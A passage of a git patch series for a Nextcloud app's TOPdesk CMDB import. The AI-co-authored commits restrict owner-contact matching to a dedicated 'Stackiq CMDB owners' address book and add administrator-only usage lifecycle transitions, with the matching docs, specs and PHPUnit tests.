sheet row with the same Middel-ID; the Beheerde row\'s Invoer row has none' - ); + $this->assertSame(['', ''], array_column($this->contacts, 'email'), 'the CMDB sheets carry no e-mail address'); $this->assertSame(['stackiq-cmdb-owners' => 'Stackiq CMDB owners'], $this->addressBooks, 'new owner contacts go into the dedicated address book only'); $people = $this->objects(self::CONTACT_PERSON); @@ -1530,50 +1478,6 @@ public function testAnOwnerByNameIsMatchedExactly(): void { $this->assertSame($people[0]['id'], $this->objects(self::USAGE)[0]['businessOwner']); }//end testAnOwnerByNameIsMatchedExactly() - /** - * An owner whose contact was made without an e-mail address or phone number gets both, in the same contact. - * - * @return void - */ - public function testAnOwnerKnownByNameGetsTheEmailAndPhoneItLacks(): void { - $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); - $this->contacts['contact-old'] = ['name' => 'Voornaam Achternaam', 'email' => '', 'phone' => '']; - $owner = [ - 'Applicatie Eigenaar (Persoon)' => 'Achternaam, Voornaam', - 'Eigenaar e-mail' => 'letter.achternaam@gemeente.nl', - 'Eigenaar mobiel nummer' => '0612345678', - ]; - - $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: $owner)]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); - - $this->assertSame( - ['contact-old' => ['name' => 'Voornaam Achternaam', 'email' => 'letter.achternaam@gemeente.nl', 'phone' => '0612345678']], - $this->contacts - ); - $this->assertSame('contact-old', $this->objects(self::CONTACT_PERSON)[0]['contactsUid']); - - $stored = json_encode([$this->objects(self::CONTACT_PERSON), $this->objects(self::USAGE), $this->objects(self::MODULE)]); - $this->assertStringNotContainsString('letter.achternaam', (string)$stored, 'the e-mail address lives in Contacts only'); - $this->assertStringNotContainsString('0612345678', (string)$stored, 'the phone number lives in Contacts only'); - }//end testAnOwnerKnownByNameGetsTheEmailAndPhoneItLacks() - - /** - * A contact with the owner's name but another e-mail address is someone else; an address it has is never replaced. - * - * @return void - */ - public function testANamesakeWithAnotherEmailIsNotTaken(): void { - $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); - $this->contacts['contact-namesake'] = ['name' => 'Voornaam Achternaam', 'email' => 'iemand.anders@example.org', 'phone' => '']; - $owner = ['Applicatie Eigenaar (Persoon)' => 'Achternaam, Voornaam', 'Eigenaar e-mail' => 'letter.achternaam@gemeente.nl']; - - $this->service(reader: $this->rowsReader(rows: [$this->row(appId: '1', cells: $owner)]))->import(path: '', options: ['municipalityUuid' => 'muni-1']); - - $this->assertCount(2, $this->contacts); - $this->assertSame('iemand.anders@example.org', $this->contacts['contact-namesake']['email']); - $this->assertNotSame('contact-namesake', $this->objects(self::CONTACT_PERSON)[0]['contactsUid']); - }//end testANamesakeWithAnotherEmailIsNotTaken() - /** * No technical owner is written, whatever the row holds. * From 971290a76eadef4dc17b395b5e76a724460f1aa0 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 13:56:49 +0200 Subject: [PATCH 147/176] fix(cmdb-import): match owner contacts only in the "Stackiq CMDB owners" address book New owner contacts went into the dedicated address book, but an existing contact was still looked for in every address book of the admin who ran the import: a personal contact with the owner's exact name or e-mail address was linked to the municipality's application as its owner. StackiqContactSyncService gains searchNamedAddressBook(), which keeps only the contacts manager's results whose address book key is the named address book's id, and syncToNamedAddressBook() matches an e-mail address through it. The import's name match uses it too, so both the name and the e-mail match stay inside "Stackiq CMDB owners". Co-Authored-By: Claude Opus 5.5 --- docs/features/cmdb-import.md | 14 +- lib/Service/CmdbExportImportService.php | 22 ++-- lib/Service/StackiqContactSyncService.php | 122 +++++++++++++++++- openspec/changes/cmdb-export-import/design.md | 2 +- .../specs/cmdb-export-import/spec.md | 10 +- .../Service/CmdbExportImportServiceTest.php | 47 ++++++- .../Service/StackiqContactSyncServiceTest.php | 65 +++++++++- 7 files changed, 249 insertions(+), 33 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index 16998eced..e497bd54f 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -241,12 +241,14 @@ owner's function in the person column; the import then uses that function as the contact's name. No technical owner is imported: the functional administrator (FB contactpersoon) is not read. -The identity is kept in **Nextcloud Contacts**. A contact the import -creates goes into a dedicated address book, **Stackiq CMDB owners**, of the -administrator who runs the import; the import creates that address book the -first time it needs it. The import never adds owners to that administrator's -own address books. The CMDB sheets have no e-mail address, so a contact is -found by an exact match on the name, and created when there is none. The +The identity is kept in **Nextcloud Contacts**, in a dedicated address book, +**Stackiq CMDB owners**, of the administrator who runs the import; the import +creates that address book the first time it needs it. The import looks for +an existing contact only in that address book, never in the administrator's +own address books: a personal contact who happens to have the owner's name +is not linked to the application. The CMDB sheets have no e-mail address, so +a contact is found by an exact match on the name in **Stackiq CMDB owners**, +and created there when there is none. The stackiq contact person object only holds the link to that contact, the role and the municipality. The same owner on several rows is one contact person. diff --git a/lib/Service/CmdbExportImportService.php b/lib/Service/CmdbExportImportService.php index b416d2daa..fe8b164b6 100644 --- a/lib/Service/CmdbExportImportService.php +++ b/lib/Service/CmdbExportImportService.php @@ -1262,12 +1262,13 @@ private function resolveOwners(array $values, int $rowNumber, string $municipali /** * Resolve the Nextcloud contact of an owner identity. * - * With an e-mail address, StackiqContactSyncService matches on it or - * creates the contact. A new contact goes into the importing admin's - * dedicated "Stackiq CMDB owners" address book, never into the admin's - * own address book. Without one, only a contact whose display name is - * exactly the owner's name (case-insensitive) is reused, so an owner - * known by name alone is not created again on every import. + * Contacts are matched, and created, only in the importing admin's + * dedicated "Stackiq CMDB owners" address book, never in the admin's + * other address books. With an e-mail address, StackiqContactSyncService + * matches on it there or creates the contact. Without one, only a contact + * there whose display name is exactly the owner's name (case-insensitive) + * is reused, so an owner known by name alone is not created again on + * every import. * * @param array $identity name, email and role from the owner pack. * @@ -1321,7 +1322,11 @@ private function resolveContactUid(array $identity): ?string { }//end resolveContactUid() /** - * The contact whose display name is exactly this one, case-insensitive. + * The contact in the owners' address book whose display name is exactly this one, case-insensitive. + * + * Only the dedicated "Stackiq CMDB owners" address book is searched: a + * namesake in another address book of the admin, such as a personal + * contact, is never linked to an imported owner. * * @param string $displayName The display name. * @@ -1331,7 +1336,8 @@ private function resolveContactUid(array $identity): ?string { */ private function contactByDisplayName(string $displayName): ?string { $needle = mb_strtolower($displayName); - foreach ($this->contactSync->searchContacts(query: $displayName) as $contact) { + $contacts = $this->contactSync->searchNamedAddressBook(query: $displayName, addressBookUri: self::OWNER_ADDRESS_BOOK_URI, properties: ['FN']); + foreach ($contacts as $contact) { if (mb_strtolower(trim((string)($contact['name'] ?? ''))) === $needle) { return (string)$contact['uid']; } diff --git a/lib/Service/StackiqContactSyncService.php b/lib/Service/StackiqContactSyncService.php index 60dfc2c58..2c09cd6fb 100644 --- a/lib/Service/StackiqContactSyncService.php +++ b/lib/Service/StackiqContactSyncService.php @@ -179,11 +179,13 @@ public function syncToContacts(string $objectType, array $record): ?string { /** * Resolve the contact of a record, creating it in a dedicated address book of the signed-in user. * - * Like syncToContacts(), an existing contact (by `contactsUid`, then by - * e-mail) is reused wherever it lives. A new contact goes into the - * address book with this URI, which is created with the display name - * when the user has none, and never into the user's own first writable - * address book. + * A contact the record already links (`contactsUid`) is kept. Otherwise + * a contact with the record's e-mail address is reused only when it is + * in the address book with this URI: a contact in another address book + * of the user is never matched, so the user's own contacts are never + * linked to imported records. A new contact goes into that address book, + * which is created with the display name when the user has none, and + * never into the user's own first writable address book. * * @param string $objectType The relationship type ('contactPerson'|'organization'). * @param array $record The relationship record. @@ -204,9 +206,9 @@ public function syncToNamedAddressBook(string $objectType, array $record, string return $existingUid; } - $matched = $this->findContactForRecord(objectType: $objectType, record: $record); + $matched = $this->namedAddressBookContactByEmail(record: $record, addressBookUri: $addressBookUri); if ($matched !== null) { - return (string)($matched['UID'] ?? ''); + return $matched; } $properties = $this->recordToVCard(objectType: $objectType, record: $record); @@ -242,6 +244,112 @@ public function syncToNamedAddressBook(string $objectType, array $record, string return $contactUid; }//end syncToNamedAddressBook() + /** + * Search the signed-in user's address book with this URI, and no other. + * + * @param string $query The search query. + * @param string $addressBookUri The address book's URI. + * @param array $properties The vCard properties to search, such as FN or EMAIL. + * + * @return array> The matching contacts, as searchContacts() returns them; + * none when the user has no such address book. + * + * @spec openspec/specs/softwarecatalog-contacts-to-nc/spec.md + */ + public function searchNamedAddressBook(string $query, string $addressBookUri, array $properties): array { + $contacts = []; + foreach ($this->namedAddressBookResults(query: $query, addressBookUri: $addressBookUri, properties: $properties) as $result) { + $contacts[] = [ + 'uid' => (string)$result['UID'], + 'name' => $this->firstValue(value: ($result['FN'] ?? '')), + 'email' => $this->firstValue(value: ($result['EMAIL'] ?? '')), + 'addressBookKey' => (string)($result['addressbook-key'] ?? ''), + ]; + } + + return $contacts; + }//end searchNamedAddressBook() + + /** + * The contact in the named address book with the record's e-mail address, or null. + * + * @param array $record The relationship record. + * @param string $addressBookUri The address book's URI. + * + * @return string|null The contact UID. + */ + private function namedAddressBookContactByEmail(array $record, string $addressBookUri): ?string { + $email = trim((string)($record['e-mailadres'] ?? $record['email'] ?? '')); + foreach ($this->namedAddressBookResults(query: $email, addressBookUri: $addressBookUri, properties: ['EMAIL']) as $result) { + if ($this->valueMatches(value: ($result['EMAIL'] ?? ''), needle: $email) === true) { + return (string)$result['UID']; + } + } + + return null; + }//end namedAddressBookContactByEmail() + + /** + * The raw search results that lie in the user's address book with this URI. + * + * The contacts manager searches every address book of the user and tags + * each result with its address book's key, the CardDAV address book id; + * only results with the named address book's id are kept. + * + * @param string $query The search query. + * @param string $addressBookUri The address book's URI. + * @param array $properties The vCard properties to search. + * + * @return array> + */ + private function namedAddressBookResults(string $query, string $addressBookUri, array $properties): array { + if ($this->isAvailable() === false || trim($query) === '') { + return []; + } + + $key = $this->existingNamedAddressBookKey(addressBookUri: $addressBookUri); + if ($key === null) { + return []; + } + + $found = []; + foreach ($this->contactsManager->search($query, $properties, ['limit' => 50]) as $result) { + if (isset($result['UID']) === true && (string)($result['addressbook-key'] ?? '') === $key) { + $found[] = $result; + } + } + + return $found; + }//end namedAddressBookResults() + + /** + * The key of the signed-in user's address book with this URI, without creating it. + * + * @param string $addressBookUri The address book's URI. + * + * @return string|null The CardDAV address book id as a string, or null when there is none. + */ + private function existingNamedAddressBookKey(string $addressBookUri): ?string { + try { + $backend = $this->container?->get(static::CARDDAV_BACKEND_CLASS); + $uid = $this->userSession?->getUser()?->getUID(); + if (is_object($backend) === false || $uid === null) { + return null; + } + + $book = $backend->getAddressBooksByUri('principals/users/' . $uid, $addressBookUri); + } catch (Throwable $e) { + $this->logger->warning('[StackiqContactSync] The named address book could not be read', ['exception' => get_class($e)]); + return null; + } + + if (is_array($book) === false || isset($book['id']) === false) { + return null; + } + + return (string)$book['id']; + }//end existingNamedAddressBookKey() + /** * The id of a principal's address book with this URI, created when absent. * diff --git a/openspec/changes/cmdb-export-import/design.md b/openspec/changes/cmdb-export-import/design.md index ab5114f7c..d9ff5bcd1 100644 --- a/openspec/changes/cmdb-export-import/design.md +++ b/openspec/changes/cmdb-export-import/design.md @@ -412,7 +412,7 @@ The seeds show the new properties in a fresh install. They carry no `publication ## Risks / Trade-offs - [The user sync might provision accounts for imported contact persons] → The import writes contact persons without e-mail or user fields on the OpenRegister object. A unit test runs `performUserSync`'s selection against an imported `contactPerson`. If the selection would pick it up, the implementation adds an explicit marker that excludes it before shipping, and does not ship otherwise. -- [Owner contacts land in the importing admin's address book] → A contact the import creates goes into a dedicated address book, "Stackiq CMDB owners" (URI stable across languages), of the acting user, created on first use (`StackiqContactSyncService::syncToNamedAddressBook()`), never into the user's own first writable address book. A system address book shared by every admin is a follow-up. +- [Owner contacts land in the importing admin's address book] → A contact the import creates goes into a dedicated address book, "Stackiq CMDB owners" (URI stable across languages), of the acting user, created on first use (`StackiqContactSyncService::syncToNamedAddressBook()`), never into the user's own first writable address book. An existing contact is matched, by name or e-mail address, only in that address book, so a personal contact of the admin is never linked to an imported owner. A system address book shared by every admin is a follow-up. - [Long synchronous request] → Per-row progress, cancel, and "unchanged" rows skip the save. About 1,100 rows is expected to fit. A background job is a follow-up if it does not. - [OpenRegister internals (`MappingEngine`, `PackDefinitionValidator`, PhpSpreadsheet) change shape] → Guarded resolution with 503, and a contract test that maps the fixture through the real engine in the dev environment. - [Lookups from the real export] → The maps hold the values the municipality's export of 2026-09-22 contains (2026-10-02 import report): "Applicatiesoort" is an application kind, kept as is in `applicationType`; "BNN Classificatie" holds `NB`, `1`, `2` and `2+`; "Applicatie Status" adds five Dutch statuses; "Classificatie" one numbered form. A new value is a warning, never a wrong value, and is added to the JSON map with no code change. A lookup `default` of `null` means "known, no value": the service leaves the field out. diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index 97040eb7f..14ca0f81b 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -352,7 +352,7 @@ For each imported module the service SHALL keep exactly one `usage` with `consum ### Requirement: The owner SHALL become a contact person of the municipality through Nextcloud Contacts, never a user account, and SHALL never be publicly readable (REQ-CMDB-010) -The business owner pack SHALL map "Applicatie Eigenaar (Persoon)" (the display name, which may be a function instead of a person's name) and "Applicatie Eigenaar (Functie)" (the role). No technical owner SHALL be imported; the functional administrator columns SHALL NOT be read. For the owner the service SHALL resolve a Nextcloud contact through `StackiqContactSyncService` by an exact match on the display name, and otherwise by creating one in a dedicated address book "Stackiq CMDB owners" of the admin who runs the import (`StackiqContactSyncService::syncToNamedAddressBook()`), which is created on first use. It SHALL NOT add an owner to the admin's own address books. It SHALL then reuse or create one `contactPerson` with that `contactsUid`, `organization` = the municipality and `role` = "Applicatie Eigenaar (Functie)" when given, and SHALL set `usage.businessOwner` to it. The import SHALL NOT create Nextcloud user accounts. When Nextcloud Contacts is unavailable, the row SHALL be imported without an owner and SHALL carry a warning. `contactPerson` and `usage` SHALL have no public read rule, so the owner is never readable by an anonymous visitor; a published module SHALL refer to them by relation only. +The business owner pack SHALL map "Applicatie Eigenaar (Persoon)" (the display name, which may be a function instead of a person's name) and "Applicatie Eigenaar (Functie)" (the role). No technical owner SHALL be imported; the functional administrator columns SHALL NOT be read. For the owner the service SHALL resolve a Nextcloud contact through `StackiqContactSyncService` by an exact match on the display name, or on the e-mail address when the export has one, and otherwise by creating one, all in a dedicated address book "Stackiq CMDB owners" of the admin who runs the import (`StackiqContactSyncService::syncToNamedAddressBook()` and `searchNamedAddressBook()`), which is created on first use. It SHALL NOT match a contact in any other address book of the admin, and SHALL NOT add an owner to them. It SHALL then reuse or create one `contactPerson` with that `contactsUid`, `organization` = the municipality and `role` = "Applicatie Eigenaar (Functie)" when given, and SHALL set `usage.businessOwner` to it. The import SHALL NOT create Nextcloud user accounts. When Nextcloud Contacts is unavailable, the row SHALL be imported without an owner and SHALL carry a warning. `contactPerson` and `usage` SHALL have no public read rule, so the owner is never readable by an anonymous visitor; a published module SHALL refer to them by relation only. #### Scenario: The owner becomes the business owner @e2e exclude Needs a Contacts address book; tests/Unit/Service/CmdbExportImportServiceTest.php asserts the calls to a StackiqContactSyncService test double and the saved contactPerson. @@ -378,6 +378,14 @@ The business owner pack SHALL map "Applicatie Eigenaar (Persoon)" (the display n - **WHEN** they are imported - **THEN** exactly one `contactPerson` for that contact SHALL exist for the municipality, referenced by both usages +#### Scenario: A namesake in the admin's own address book is not linked +@e2e exclude Needs a CardDAV backend with two address books; tests/Unit/Service/CmdbExportImportServiceTest.php testOwnersAreMatchedOnlyInTheOwnersAddressBook asserts a personal contact with the owner's exact name is not linked while a contact in the owners' address book is reused, and tests/Unit/Service/StackiqContactSyncServiceTest.php testAnExistingContactIsMatchedOnlyInTheNamedAddressBook asserts the same for an e-mail address against the contacts manager's address book keys. + +- **GIVEN** an admin whose personal address book holds a contact "Voornaam Achternaam", and whose "Stackiq CMDB owners" address book holds "Teamleider Applicatiebeheer" +- **WHEN** they import a row with owner `Achternaam, Voornaam` and a row with owner `Teamleider Applicatiebeheer` +- **THEN** the first owner SHALL get a new contact in "Stackiq CMDB owners", and the personal contact SHALL NOT be linked or changed +- **AND** the second owner SHALL reuse the contact already in "Stackiq CMDB owners" + #### Scenario: A new owner contact goes into the dedicated address book @e2e exclude Needs a CardDAV backend; tests/Unit/Service/StackiqContactSyncServiceTest.php testNewContactsGoIntoTheNamedAddressBook asserts the "Stackiq CMDB owners" address book is created once and holds every new card, with no other address book written, and tests/Unit/Service/CmdbExportImportServiceTest.php testTheOwnerBecomesTheBusinessOwner asserts the import asks for that address book. diff --git a/tests/Unit/Service/CmdbExportImportServiceTest.php b/tests/Unit/Service/CmdbExportImportServiceTest.php index c4cb9b48c..824d68382 100644 --- a/tests/Unit/Service/CmdbExportImportServiceTest.php +++ b/tests/Unit/Service/CmdbExportImportServiceTest.php @@ -92,7 +92,9 @@ class CmdbExportImportServiceTest extends TestCase { /** * Contacts in the fake address book: uid => name, email. * - * @var array + * `book` is the address book's URI; a contact without one is in the admin's personal address book. + * + * @var array */ private array $contacts = []; @@ -514,11 +516,14 @@ public function schemaProperties(int $schema, bool $rbac, bool $multitenancy): a private function contactSync(): StackiqContactSyncService { $sync = $this->createMock(StackiqContactSyncService::class); $sync->method('isAvailable')->willReturnCallback(fn (): bool => $this->contactsEnabled); - $sync->method('searchContacts')->willReturnCallback( - function (string $query): array { + $sync->method('searchContacts')->willThrowException(new \LogicException('owners are only searched in the named address book')); + $sync->method('searchNamedAddressBook')->willReturnCallback( + function (string $query, string $addressBookUri): array { $found = []; foreach ($this->contacts as $uid => $contact) { - if (str_contains(mb_strtolower($contact['name']), mb_strtolower($query)) === true) { + if (($contact['book'] ?? 'personal') === $addressBookUri + && str_contains(mb_strtolower($contact['name']), mb_strtolower($query)) === true + ) { $found[] = ['uid' => $uid, 'name' => $contact['name'], 'email' => $contact['email']]; } } @@ -532,13 +537,17 @@ function (string $objectType, array $record, string $addressBookUri, string $dis $this->addressBooks[$addressBookUri] = $displayName; $email = (string)($record['email'] ?? ''); foreach ($this->contacts as $uid => $contact) { - if ($email !== '' && strcasecmp($contact['email'], $email) === 0) { + if ($email !== '' && ($contact['book'] ?? 'personal') === $addressBookUri && strcasecmp($contact['email'], $email) === 0) { return $uid; } } $uid = 'contact-' . (count($this->contacts) + 1); - $this->contacts[$uid] = ['name' => trim(($record['voornaam'] ?? '') . ' ' . ($record['achternaam'] ?? '')), 'email' => $email]; + $this->contacts[$uid] = [ + 'name' => trim(($record['voornaam'] ?? '') . ' ' . ($record['achternaam'] ?? '')), + 'email' => $email, + 'book' => $addressBookUri, + ]; return $uid; } ); @@ -1570,7 +1579,7 @@ public function testTheSameOwnerOnTwoRowsIsOneContactPerson(): void { public function testAnOwnerByNameIsMatchedExactly(): void { $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); // A contact whose name merely contains the owner's name must not match. - $this->contacts['contact-other'] = ['name' => 'Voornaam Achternaam-Anders', 'email' => '']; + $this->contacts['contact-other'] = ['name' => 'Voornaam Achternaam-Anders', 'email' => '', 'book' => 'stackiq-cmdb-owners']; $rows = [$this->row(appId: '1', cells: ['Applicatie Eigenaar (Persoon)' => 'Achternaam, Voornaam'])]; $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); @@ -1584,6 +1593,30 @@ public function testAnOwnerByNameIsMatchedExactly(): void { $this->assertSame($people[0]['id'], $this->objects(self::USAGE)[0]['businessOwner']); }//end testAnOwnerByNameIsMatchedExactly() + /** + * A namesake in the admin's personal address book is never linked; a contact in the owners' address book is reused. + * + * @return void + */ + public function testOwnersAreMatchedOnlyInTheOwnersAddressBook(): void { + $this->seedOrganisation(uuid: 'muni-1', name: 'Gemeente Voorbeeldstad', type: 'Municipality'); + $this->contacts['contact-personal'] = ['name' => 'Voornaam Achternaam', 'email' => '']; + $this->contacts['contact-owner'] = ['name' => 'Teamleider Applicatiebeheer', 'email' => '', 'book' => 'stackiq-cmdb-owners']; + $rows = [ + $this->row(appId: '1', cells: ['Applicatie Eigenaar (Persoon)' => 'Achternaam, Voornaam'], row: 2), + $this->row(appId: '2', cells: ['Applicatie Eigenaar (Persoon)' => 'Teamleider Applicatiebeheer'], row: 3), + ]; + + $this->service(reader: $this->rowsReader(rows: $rows))->import(path: '', options: ['municipalityUuid' => 'muni-1']); + + $uids = array_column($this->objects(self::CONTACT_PERSON), 'contactsUid'); + $this->assertNotContains('contact-personal', $uids, 'a personal contact with the same name is not linked'); + $this->assertContains('contact-owner', $uids, 'the contact in the owners\' address book is reused'); + $this->assertCount(3, $this->contacts, 'one new contact, in the owners\' address book'); + $created = array_diff_key($this->contacts, ['contact-personal' => true, 'contact-owner' => true]); + $this->assertSame(['stackiq-cmdb-owners'], array_values(array_unique(array_column($created, 'book')))); + }//end testOwnersAreMatchedOnlyInTheOwnersAddressBook() + /** * No technical owner is written, whatever the row holds. * diff --git a/tests/Unit/Service/StackiqContactSyncServiceTest.php b/tests/Unit/Service/StackiqContactSyncServiceTest.php index 24789ce5b..7b0228a0a 100644 --- a/tests/Unit/Service/StackiqContactSyncServiceTest.php +++ b/tests/Unit/Service/StackiqContactSyncServiceTest.php @@ -72,16 +72,34 @@ public function createCard(int $addressBookId, string $cardUri, string $cardData }//end backend() /** - * The service for user "admin", with no existing contact anywhere. + * The service for user "admin", with the given contacts (none by default) across their address books. * * @param object $backend The CardDAV backend. + * @param array> $contacts What the contacts manager's search finds, each with its addressbook-key. * * @return StackiqContactSyncService */ - private function service(object $backend): StackiqContactSyncService { + private function service(object $backend, array $contacts = []): StackiqContactSyncService { $manager = $this->createMock(IManager::class); $manager->method('isEnabled')->willReturn(true); - $manager->method('search')->willReturn([]); + $manager->method('search')->willReturnCallback( + function (string $pattern, array $properties) use ($contacts): array { + return array_values( + array_filter( + $contacts, + static function (array $contact) use ($pattern, $properties): bool { + foreach ($properties as $property) { + if (str_contains(mb_strtolower((string)($contact[$property] ?? '')), mb_strtolower($pattern)) === true) { + return true; + } + } + + return false; + } + ) + ); + } + ); $manager->expects($this->never())->method('createOrUpdate'); $manager->expects($this->never())->method('getUserAddressBooks'); @@ -122,6 +140,47 @@ public function testNewContactsGoIntoTheNamedAddressBook(): void { $this->assertStringEndsWith("END:VCARD\r\n", $card); }//end testNewContactsGoIntoTheNamedAddressBook() + /** + * An e-mail address matches only a contact in the named address book; a personal contact with it is not linked. + * + * @return void + */ + public function testAnExistingContactIsMatchedOnlyInTheNamedAddressBook(): void { + $backend = $this->backend(); + $backend->books['principals/users/admin|stackiq-cmdb-owners'] = ['id' => 7, 'displayname' => 'Stackiq CMDB owners']; + $contacts = [ + ['UID' => 'personal-1', 'FN' => 'Voornaam Achternaam', 'EMAIL' => 'owner@example.org', 'addressbook-key' => '3'], + ['UID' => 'owners-1', 'FN' => 'Functioneel Beheer', 'EMAIL' => 'beheer@example.org', 'addressbook-key' => '7'], + ]; + $service = $this->service(backend: $backend, contacts: $contacts); + + $matched = $service->syncToNamedAddressBook(objectType: 'contactPerson', record: ['achternaam' => 'Functioneel Beheer', 'email' => 'beheer@example.org'], addressBookUri: 'stackiq-cmdb-owners', displayName: 'Stackiq CMDB owners'); + $this->assertSame('owners-1', $matched); + $this->assertSame([], $backend->cards, 'a match creates nothing'); + + $created = $service->syncToNamedAddressBook(objectType: 'contactPerson', record: ['voornaam' => 'Voornaam', 'achternaam' => 'Achternaam', 'email' => 'owner@example.org'], addressBookUri: 'stackiq-cmdb-owners', displayName: 'Stackiq CMDB owners'); + $this->assertNotSame('personal-1', $created, 'the personal contact with that address is not linked'); + $this->assertCount(1, $backend->cards); + $this->assertSame(7, $backend->cards[0][0], 'the new contact goes into the named address book'); + + $this->assertSame(['owners-1'], array_column($service->searchNamedAddressBook(query: 'e', addressBookUri: 'stackiq-cmdb-owners', properties: ['FN']), 'uid')); + }//end testAnExistingContactIsMatchedOnlyInTheNamedAddressBook() + + /** + * Without the named address book a search finds nothing and creates no address book. + * + * @return void + */ + public function testSearchingAMissingNamedAddressBookFindsNothing(): void { + $backend = $this->backend(); + $contacts = [['UID' => 'personal-1', 'FN' => 'Voornaam Achternaam', 'EMAIL' => '', 'addressbook-key' => '3']]; + + $found = $this->service(backend: $backend, contacts: $contacts)->searchNamedAddressBook(query: 'Voornaam Achternaam', addressBookUri: 'stackiq-cmdb-owners', properties: ['FN']); + + $this->assertSame([], $found); + $this->assertSame([], $backend->books); + }//end testSearchingAMissingNamedAddressBookFindsNothing() + /** * A long value is folded at 75 octets without splitting a character. * From 6564e14851364a5d77bd5092700b549cc86b2f72 Mon Sep 17 00:00:00 2001 From: WilcoLouwerse Date: Mon, 5 Oct 2026 14:02:22 +0200 Subject: [PATCH 148/176] fix(cmdb-import): a status that changes in TOPdesk reaches the usage MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The usage lifecycle only allows the regular steps (Acquisition → Planned → In production → To be phased out → Phased out), so a re-import whose TOPdesk status jumped, or went back, failed the row. OpenRegister has no way to save past the lifecycle, so the fragment declares per state a transition to it from every other state, open to administrators only (usage 1.5.6). The import follows the source; every other user keeps the regular transitions. Co-Authored-By: Claude Opus 5.5 (1M context) --- docs/features/cmdb-import.md | 7 ++ .../register.d/topdesk-cmdb-import.json | 74 +++++++++++++++++++ .../specs/cmdb-export-import/spec.md | 2 +- .../Settings/PublicationFieldRulesTest.php | 2 +- .../Unit/Settings/TopdeskCmdbFragmentTest.php | 34 ++++++++- 5 files changed, 115 insertions(+), 4 deletions(-) diff --git a/docs/features/cmdb-import.md b/docs/features/cmdb-import.md index 9a778ac20..d5bf1d26b 100644 --- a/docs/features/cmdb-import.md +++ b/docs/features/cmdb-import.md @@ -177,6 +177,13 @@ colliding. website an administrator added. The publication date and the depublication date are never changed: a module an administrator depublished stays depublished. The row is reported as *updated*. +- **Known APPID, status changed in TOPdesk**: the usage gets the new status, + also where the regular steps of the usage lifecycle (Acquisition → + Planned → In production → To be phased out → Phased out) do not lead + there. The usage schema allows this jump to administrators only, so the + import must be run by a Nextcloud administrator; a delegated stackiq + admin who is not one gets the row reported as *failed*. Other users + still follow the regular steps. - **Known APPID, nothing changed**: nothing is saved; the row is reported as *unchanged*. Importing the same export twice creates nothing the second time. diff --git a/lib/Settings/register.d/topdesk-cmdb-import.json b/lib/Settings/register.d/topdesk-cmdb-import.json index 9674345e8..6278fb789 100644 --- a/lib/Settings/register.d/topdesk-cmdb-import.json +++ b/lib/Settings/register.d/topdesk-cmdb-import.json @@ -67,6 +67,80 @@ "enum": ["BBN2+"] } } + }, + "usage": { + "version": "1.5.6", + "configuration": { + "x-openregister-lifecycle": { + "transitions": { + "importAcquisition": { + "from": [ + "Planned", + "In production", + "To be phased out", + "Phased out" + ], + "to": "Acquisition", + "authorization": [ + "admin" + ], + "description": "Set the usage to \"Acquisition\" as the service desk (TOPdesk CMDB import) records it, whatever the current state. Only administrators: the import follows the source, other users follow the transitions above." + }, + "importPlanned": { + "from": [ + "Acquisition", + "In production", + "To be phased out", + "Phased out" + ], + "to": "Planned", + "authorization": [ + "admin" + ], + "description": "Set the usage to \"Planned\" as the service desk (TOPdesk CMDB import) records it, whatever the current state. Only administrators: the import follows the source, other users follow the transitions above." + }, + "importInProduction": { + "from": [ + "Acquisition", + "Planned", + "To be phased out", + "Phased out" + ], + "to": "In production", + "authorization": [ + "admin" + ], + "description": "Set the usage to \"In production\" as the service desk (TOPdesk CMDB import) records it, whatever the current state. Only administrators: the import follows the source, other users follow the transitions above." + }, + "importToBePhasedOut": { + "from": [ + "Acquisition", + "Planned", + "In production", + "Phased out" + ], + "to": "To be phased out", + "authorization": [ + "admin" + ], + "description": "Set the usage to \"To be phased out\" as the service desk (TOPdesk CMDB import) records it, whatever the current state. Only administrators: the import follows the source, other users follow the transitions above." + }, + "importPhasedOut": { + "from": [ + "Acquisition", + "Planned", + "In production", + "To be phased out" + ], + "to": "Phased out", + "authorization": [ + "admin" + ], + "description": "Set the usage to \"Phased out\" as the service desk (TOPdesk CMDB import) records it, whatever the current state. Only administrators: the import follows the source, other users follow the transitions above." + } + } + } + } } }, "objects": [ diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md index 8dcdf940a..fd8279cb8 100644 --- a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -257,7 +257,7 @@ The service SHALL map "Vendor" (the maker of the software) through the manufactu ### Requirement: Each imported application SHALL have one usage that links it to the municipality (REQ-CMDB-009) -For each imported module the service SHALL keep exactly one `usage` with `consumer` = the municipality and `module` = the module, found by those two references and created when missing. The usage pack SHALL map "Applicatie Status" to `status` and "Classificatie" to `timeClassification` through lookups, "End-of-Life Functioneel" to `startDateOutPhased`, and the sheet's `Beheer` constant, "Cluster" and "Applicatie Eigenaar (Afdeling)" to `interneAnnotation`, so the note records whether maintenance is arranged (`Beheer geregeld: nee` for "Onbeh Applicaties CMDB", `ja` for "Beheerde Applicaties CMDB"). Empty parts SHALL be left out of the note. `interneAnnotation` SHALL be written only when the usage is created or the field is empty, so a note an admin wrote is never overwritten. +For each imported module the service SHALL keep exactly one `usage` with `consumer` = the municipality and `module` = the module, found by those two references and created when missing. The usage pack SHALL map "Applicatie Status" to `status` and "Classificatie" to `timeClassification` through lookups, "End-of-Life 